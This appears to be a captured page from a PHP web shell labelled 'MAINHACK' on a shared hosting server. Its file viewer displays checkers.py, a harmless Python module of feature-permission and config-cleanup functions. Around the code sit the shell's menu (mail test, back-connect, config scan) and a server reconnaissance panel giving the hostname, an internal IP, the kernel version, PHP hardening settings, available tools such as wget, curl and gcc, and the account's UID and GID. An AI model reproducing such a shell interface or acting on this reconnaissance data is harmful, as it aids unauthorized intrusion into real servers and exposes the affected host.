[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: checkers.py
File is not writable. Editing disabled.
from typing import List from copy import deepcopy from .exceptions import FeatureDisabledError from .constants import CONFIG_MAPPINGS from .model import FeatureManagementPerms def check_feature(feature: str, permissions: List[str], user: str): """ Raise exception if feature is disabled for user :param feature: feature name :param permissions: permissions required :param user: user name :return: None :raises FeatureDisabledError: if user is prohibited from use of the feature """ if user is None: return perm = FeatureManagementPerms.get_perm(user) permission_value = perm.get_feature(feature) if permission_value not in permissions: raise FeatureDisabledError( "Feature '{name}' is disabled for user '{user}'".format( name=feature, user=user ) ) def check_config(feature: str, user: str, section: str, raise_=False): """ Check if section is allowed to be read or write by user :param feature: feature name :param user: user name :param section: section name to check :param raise_: True to raise exception, otherwise return True or False :return: True if config sections is allowed to user, False otherwise :raises FeatureDisabledError: raised if raise_=True """ if user is None: return True if feature not in CONFIG_MAPPINGS: return True if section not in CONFIG_MAPPINGS[feature]: return True try: check_feature(feature, CONFIG_MAPPINGS[feature][section], user) except FeatureDisabledError: if raise_: raise return False return True def config_cleanup(data: dict, user: str = None) -> dict: """ Remove prohibited sections from user config :param data: config data :param user: user name :return: new config data """ new_data = deepcopy(data) for feature in CONFIG_MAPPINGS: for section in data: if not check_config(feature, user, section): del new_data[section] return new_data def config_validation(data: dict, user: str): """ Raise exception if user is making changes on prohibited sections of config :param data: config data :param user: user name :return: None :raises FeatureDisabledError: if user is prohibited """ for feature in CONFIG_MAPPINGS: for section in data: check_config(feature, user, section, raise_=True)
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.07 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A